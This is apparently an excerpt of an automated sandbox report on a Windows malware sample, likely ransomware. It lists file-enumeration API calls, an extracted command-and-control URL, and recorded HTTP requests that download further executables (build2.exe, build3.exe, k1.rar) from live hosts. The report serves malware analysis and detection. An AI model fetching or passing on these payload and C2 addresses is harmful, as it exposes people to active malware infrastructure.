Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Code function: 1_2_00B42B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00B42B8C

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://fuyt.org/test1/get.php

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 49730 -> 799

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 44.221.84.105:799

Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: LIVECOMM-ASRespublikanskayastr3k6RU LIVECOMM-ASRespublikanskayastr3k6RU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Code function: 1_2_00B41099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

1_2_00B41099

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zerit.top
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2867993312.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868365498.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868505470.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: zerit.top
Source: global traffic	DNS traffic detected: DNS query: fuyt.org

Source: RranN.exe, 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmp, RranN.exe, 00000001.00000003.1670150926.00000000013B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: RranN.exe, 00000001.00000003.1719165813.000000000143A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: RranN.exe, 00000001.00000003.1719066632.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:7
Source: RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719066632.0000000001482000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000002.1909903874.000000000180A000.00000004.00000010.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719066632.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719165813.000000000143A000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719066632.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar$
Source: RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar%
Source: RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar(
Source: RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719165813.000000000143A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarc
Source: RranN.exe, 00000001.00000003.1719066632.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.raroC:
Source: RranN.exe, 00000001.00000003.1719066632.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.raru
Source: DESKTOP-AGET0TR-20231003-1258b.log.9.dr, DESKTOP-AGET0TR-20231003-1258a.log.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run=
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe-
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637(
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637p
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.phpp
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft
Source: Amcache.hve.1.dr	String found in binary or memory: http://upx.sf.net
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.comHolger
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2867863906.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.comBrendon
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.comDeepak
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868057026.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868129840.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.lua.org
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868205947.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868292863.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.comJosiah
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org/scite.rng
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.comMathias
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868365498.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868435578.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2868505470.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe$run
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exeE
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.000000000077C000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.1789144785.0000000000787000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000859000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/M
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/Root
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json1
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json8
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonL
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonSl
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonT
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsoni
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonk
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonq
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874455273.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonsP
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonv
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/u
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.1789144785.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/x$
Source: prep_foundation_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/foundation.win32.js.map/ff6ccdf8f8e6c224f
Source: prep_ui_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/ui.win32.js.map/d6bb35bc608af2672a5b746ba
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2873954320.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: wctF86A.tmp.9.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: wctF86A.tmp.9.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co
Source: wctF86A.tmp.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.
Source: prep_foundation_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://github.com/react-native-async-storage/async-storage/issues
Source: RranN.exe, 00000001.00000002.1909569974.00000000014B1000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719066632.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com6
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2877310144.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: prep_foundation_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://react-native-async-storage.github.io/async-storage/docs/advanced/jest
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-0S984cQ4
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.0000000000828000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923888926.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.9.dr, _readme.txt2.9.dr, _readme.txt0.9.dr	String found in binary or memory: https://we.tl/t-0S984cQ4B3
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/Morten

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49750 version: TLS 1.2

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

